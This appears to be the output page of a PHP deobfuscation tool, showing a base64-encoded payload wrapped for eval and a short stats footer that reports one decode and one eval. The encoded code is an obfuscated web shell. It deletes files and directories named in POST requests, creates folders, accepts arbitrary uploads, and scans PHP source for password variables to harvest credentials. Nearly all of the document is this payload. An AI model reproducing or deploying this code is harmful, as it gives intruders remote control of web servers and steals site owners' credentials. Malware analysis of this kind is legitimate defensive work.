CAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRGlyIERvbmUuPC9mb250PjxiciAvPic7DQogICAgICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIERpciBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsNCiAgICAgICAgICAgICAgICAgICAgaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBGaWxlIERvbmUuPC9mb250PjxiciAvPic7DQogICAgICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIEZpbGUgRXJyb3IuPC9mb250PjxiciAvPic7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9ZWxzZWlmKCRfUE9TVFsndHlwZSddID09ICdkaXInICYmIGlzc2V0KCRfR0VUWyduZXcnXSkpew0KICAgICAgICAgICAgICAgIGlmKG1rZGlyKCIkY3VycmVudHBhdGgvJF9QT1NUW25hbWVdIikpew0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNyZWF0ZSBEaXIgRG9uZS48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q3JlYXRlIERpciBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9ZWxzZWlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgICAgICAgICAgICAgICR1c2VyZmlsZV9uYW1lID0gJGN1cnJlbnRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCiAgICAgICAgICAgICAgICAkdXNlcmZpbGVfdG1wID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOw0KICAgICAgICAgICAgICAgIGlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkdXNlcmZpbGVfdG1wLCR1c2VyZmlsZV9uYW1lKSl7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RmlsZSBVcGxv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CiAgICAgICAgJHRva2VucyA9IHRva2VuX2dldF9hbGwoJHNyYyk7DQogICAgICAgIGZvcmVhY2goJHRva2VucyBhcyAkdG9rZW4pew0KICAgICAgICAgICAgaWYoISR0b2tlblsxXSkgY29udGludWU7DQogICAgICAgICAgICAkdG9rZW5uYW1lID0gdG9rZW5fbmFtZSgkdG9rZW5bMF0pOw0KICAgICAgICAgICAgaWYoJHRva2VubmFtZSAhPSAnVF9WQVJJQUJMRScpIGNvbnRpbnVlOw0KICAgICAgICAgICAgJHZhciA9ICR0b2tlblsxXTsNCiAgICAgICAgICAgIGlmKGVyZWdpKCdwYXNzJywkdmFyKSl7DQogICAgICAgICAgICAgICAgJGYgPSBzdHJfcmVwbGFjZSgnICcsJycsZXgoJHZhciwnOycsJHNyYykpOw0KICAgICAgICAgICAgICAgICRhID0gdHJpbShleCgiPSciLCInIiwkZikpOw0KICAgICAgICAgICAgICAgICRiID0gdHJpbShleCgnIicsJyInLCRmKSk7DQogICAgICAgICAgICAgICAgaWYoJGEgIT0gJycpew0KICAgICAgICAgICAgICAgICAgICAkcGFzcyA9ICRhOw0KICAgICAgICAgICAgICAgIH1lbHNlaWYoJGIgIT0gJycpew0KICAgICAgICAgICAgICAgICAgICAkcGFzcyA9ICRiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZigkcGFzcyA9PSAnJykgY29udGludWU7DQogICAgICAgICAgICAgICAgJGRhdGFbXSA9IGFycmF5KCR1c2VyLCRwYXNzKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICB9DQogICAgcmV0dXJuICRkYXRhOw0KfQ0KZnVuY3Rpb24gcGVybXMoJGZpbGUpew0KICAgICRwZXJtcyA9IEBmaWxlcGVybXMoJGZpbGUpOw0KDQppZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7DQogICAgLy8gU29ja2V0DQogICAgJGluZm8gPSAncyc7DQp9IGVsc2VpZiAoKCRwZ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nIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgcmV0dXJuICRpbmZvOw0KfQ0KPz4NCg==")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 0d7588fd897ee35075a317cce3f3e404
Eval Count 1
Decode Time 106 ms